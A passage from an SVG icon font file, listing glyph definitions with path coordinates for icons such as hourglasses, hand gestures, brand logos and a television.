d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_556" unicode="&#xf251;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
    <glyph glyph-name="_557" unicode="&#xf252;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -206 85 -384h854q85 178 85 384zM1223 192q-54 141 -145.5 241.5t-194.5 142.5h-230q-103 -42 -194.5 -142.5t-145.5 -241.5h910z" />
    <glyph glyph-name="_558" unicode="&#xf253;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-137 -51 -244 -196
h700q-107 145 -244 196q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_559" unicode="&#xf254;" 
d="M1504 -64q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472zM130 0q3 55 16 107t30 95t46 87t53.5 76t64.5 69.5t66 60t70.5 55t66.5 47.5t65 43q-43 28 -65 43t-66.5 47.5t-70.5 55t-66 60t-64.5 69.5t-53.5 76t-46 87
t-30 95t-16 107h1276q-3 -55 -16 -107t-30 -95t-46 -87t-53.5 -76t-64.5 -69.5t-66 -60t-70.5 -55t-66.5 -47.5t-65 -43q43 -28 65 -43t66.5 -47.5t70.5 -55t66 -60t64.5 -69.5t53.5 -76t46 -87t30 -95t16 -107h-1276zM1504 1536q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9
h-1472q-14 0 -23 9t-9 23v128q0 14 9 23t23 9h1472z" />
    <glyph glyph-name="_560" unicode="&#xf255;" 
d="M768 1152q-53 0 -90.5 -37.5t-37.5 -90.5v-128h-32v93q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-429l-32 30v172q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-224q0 -47 35 -82l310 -296q39 -39 39 -102q0 -26 19 -45t45 -19h640q26 0 45 19t19 45v25
q0 41 10 77l108 436q10 36 10 77v246q0 48 -32 81.5t-80 33.5q-46 0 -79 -33t-33 -79v-32h-32v125q0 40 -25 72.5t-64 40.5q-14 2 -23 2q-46 0 -79 -33t-33 -79v-128h-32v122q0 51 -32.5 89.5t-82.5 43.5q-5 1 -13 1zM768 1280q84 0 149 -50q57 34 123 34q59 0 111 -27
t86 -76q27 7 59 7q100 0 170 -71.5t70 -171.5v-246q0 -51 -13 -108l-109 -436q-6 -24 -6 -71q0 -80 -56 -136t-136 -56h-640q-84 0 -138 58.5t-54 142.5l-308 296q-76 73 -76 175v224q0 99 70.5 169.5t169.5 70.5q11 0 16 -1q6 95 75.5 160t164.5 65q52 0 98 -21
q72 69 174 69z" />
    <glyph glyph-name="_561" unicode="&#xf256;" horiz-adv-x="1792" 
d="M880 1408q-46 0 -79 -33t-33 -79v-656h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528v-256l-154 205q-38 51 -102 51q-53 0 -90.5 -37.5t-37.5 -90.5q0 -43 26 -77l384 -512q38 -51 102 -51h688q34 0 61 22t34 56l76 405q5 32 5 59v498q0 46 -33 79t-79 33t-79 -33
t-33 -79v-272h-32v528q0 46 -33 79t-79 33t-79 -33t-33 -79v-528h-32v656q0 46 -33 79t-79 33zM880 1536q68 0 125.5 -35.5t88.5 -96.5q19 4 42 4q99 0 169.5 -70.5t70.5 -169.5v-17q105 6 180.5 -64t75.5 -175v-498q0 -40 -8 -83l-76 -404q-14 -79 -76.5 -131t-143.5 -52
h-688q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 106 75 181t181 75q78 0 128 -34v434q0 99 70.5 169.5t169.5 70.5q23 0 42 -4q31 61 88.5 96.5t125.5 35.5z" />
    <glyph glyph-name="_562" unicode="&#xf257;" horiz-adv-x="1792" 
d="M1073 -128h-177q-163 0 -226 141q-23 49 -23 102v5q-62 30 -98.5 88.5t-36.5 127.5q0 38 5 48h-261q-106 0 -181 75t-75 181t75 181t181 75h113l-44 17q-74 28 -119.5 93.5t-45.5 145.5q0 106 75 181t181 75q46 0 91 -17l628 -239h401q106 0 181 -75t75 -181v-668
q0 -88 -54 -157.5t-140 -90.5l-339 -85q-92 -23 -186 -23zM1024 583l-155 -71l-163 -74q-30 -14 -48 -41.5t-18 -60.5q0 -46 33 -79t79 -33q26 0 46 10l338 154q-49 10 -80.5 50t-31.5 90v55zM1344 272q0 46 -33 79t-79 33q-26 0 -46 -10l-290 -132q-28 -13 -37 -17
t-30.5 -17t-29.5 -23.5t-16 -29t-8 -40.5q0 -50 31.5 -82t81.5 -32q20 0 38 9l352 160q30 14 48 41.5t18 60.5zM1112 1024l-650 248q-24 8 -46 8q-53 0 -90.5 -37.5t-37.5 -90.5q0 -40 22.5 -73t59.5 -47l526 -200v-64h-640q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5
t90.5 -37.5h535l233 106v198q0 63 46 106l111 102h-69zM1073 0q82 0 155 19l339 85q43 11 70 45.5t27 78.5v668q0 53 -37.5 90.5t-90.5 37.5h-308l-136 -126q-36 -33 -36 -82v-296q0 -46 33 -77t79 -31t79 35t33 81v208h32v-208q0 -70 -57 -114q52 -8 86.5 -48.5t34.5 -93.5
q0 -42 -23 -78t-61 -53l-310 -141h91z" />
    <glyph glyph-name="_563" unicode="&#xf258;" horiz-adv-x="2048" 
d="M1151 1536q61 0 116 -28t91 -77l572 -781q118 -159 118 -359v-355q0 -80 -56 -136t-136 -56h-384q-80 0 -136 56t-56 136v177l-286 143h-546q-80 0 -136 56t-56 136v32q0 119 84.5 203.5t203.5 84.5h420l42 128h-686q-100 0 -173.5 67.5t-81.5 166.5q-65 79 -65 182v32
q0 80 56 136t136 56h959zM1920 -64v355q0 157 -93 284l-573 781q-39 52 -103 52h-959q-26 0 -45 -19t-19 -45q0 -32 1.5 -49.5t9.5 -40.5t25 -43q10 31 35.5 50t56.5 19h832v-32h-832q-26 0 -45 -19t-19 -45q0 -44 3 -58q8 -44 44 -73t81 -29h640h91q40 0 68 -28t28 -68
q0 -15 -5 -30l-64 -192q-10 -29 -35 -47.5t-56 -18.5h-443q-66 0 -113 -47t-47 -113v-32q0 -26 19 -45t45 -19h561q16 0 29 -7l317 -158q24 -13 38.5 -36t14.5 -50v-197q0 -26 19 -45t45 -19h384q26 0 45 19t19 45z" />
    <glyph glyph-name="_564" unicode="&#xf259;" horiz-adv-x="2048" 
d="M459 -256q-77 0 -137.5 47.5t-79.5 122.5l-101 401q-13 57 -13 108q0 45 -5 67l-116 477q-7 27 -7 57q0 93 62 161t155 78q17 85 82.5 139t152.5 54q83 0 148 -51.5t85 -132.5l83 -348l103 428q20 81 85 132.5t148 51.5q89 0 155.5 -57.5t80.5 -144.5q92 -10 152 -79
t60 -162q0 -24 -7 -59l-123 -512q10 7 37.5 28.5t38.5 29.5t35 23t41 20.5t41.5 11t49.5 5.5q105 0 180 -74t75 -179q0 -62 -28.5 -118t-78.5 -94l-507 -380q-68 -51 -153 -51h-694zM1104 1408q-38 0 -68.5 -24t-39.5 -62l-164 -682h-127l-145 602q-9 38 -39.5 62t-68.5 24
q-48 0 -80 -33t-32 -80q0 -15 3 -28l132 -547h-26l-99 408q-9 37 -40 62.5t-69 25.5q-47 0 -80 -33t-33 -79q0 -14 3 -26l116 -478q7 -28 9 -86t10 -88l100 -401q8 -32 34 -52.5t59 -20.5h694q42 0 76 26l507 379q56 43 56 110q0 52 -37.5 88.5t-89.5 36.5q-43 0 -77 -26
l-307 -230v227q0 4 32 138t68 282t39 161q4 18 4 29q0 47 -32 81t-79 34q-39 0 -69.5 -24t-39.5 -62l-116 -482h-26l150 624q3 14 3 28q0 48 -31.5 82t-79.5 34z" />
    <glyph glyph-name="_565" unicode="&#xf25a;" horiz-adv-x="1792" 
d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
v-384h32z" />
    <glyph glyph-name="_566" unicode="&#xf25b;" 
d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
q0 -53 37.5 -90.5t90.5 -37.5h668z" />
    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
q13 0 22 -8.5t10 -20.5z" />
    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
    <glyph glyph-name="_574" unicode="&#xf264;" 
d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
t191 -286t71 -348z" />
    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
" />
    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
